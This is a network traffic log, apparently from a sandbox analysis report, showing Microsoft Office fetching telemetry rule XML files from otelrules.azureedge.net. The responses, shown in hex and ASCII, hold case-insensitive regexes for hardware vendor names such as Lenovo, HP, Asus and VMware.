Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:04 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:04 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 65361fd5-201e-0033-283f-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022104Z-15b8b599d88hr8sfhC1TEBbca4000000029g000000000qfu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:05 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:04 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: ce5ebd39-a01e-0053-183c-3c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022105Z-15b8b599d8885prmhC1TEBsnkw00000002g00000000036hp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:04 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:05 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ae573645-101e-008d-516d-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022105Z-174c587ffdfp4vpjhC1TEBybqw00000002c0000000003dhf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:05 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:04 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022105Z-178bfbc474btrnf9hC1NYCb80g00000003wg00000000q8qy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:04 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:05 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: d8f13441-a01e-0021-5e2d-3c814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022105Z-178bfbc474bscnbchC1NYCe7eg00000003x000000000k9zr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:05 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:06 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:07 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: bddf9f2e-a01e-0002-120c-3d5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022107Z-178bfbc474brk967hC1NYCfu6000000003g000000000tfhb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:07 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:06 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:07 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022107Z-178bfbc474bbbqrhhC1NYCvw7400000003y000000000fw4x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:07 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: f440515e-401e-0029-2e38-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022107Z-178bfbc474b9fdhphC1NYCac0n00000003ug000000004nzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:07 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:07 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022107Z-178bfbc474bscnbchC1NYCe7eg00000003vg00000000py9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:07 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:07 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:07 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022107Z-178bfbc474b9xljthC1NYCtw9400000003rg00000000bwe0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:09 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:09 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 9bf3f441-f01e-003f-246b-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022109Z-178bfbc474bv587zhC1NYCny5w00000003m000000000r7xt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:09 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:09 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:09 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022109Z-174c587ffdfx984chC1TEB676g00000002bg000000004pek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:09 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

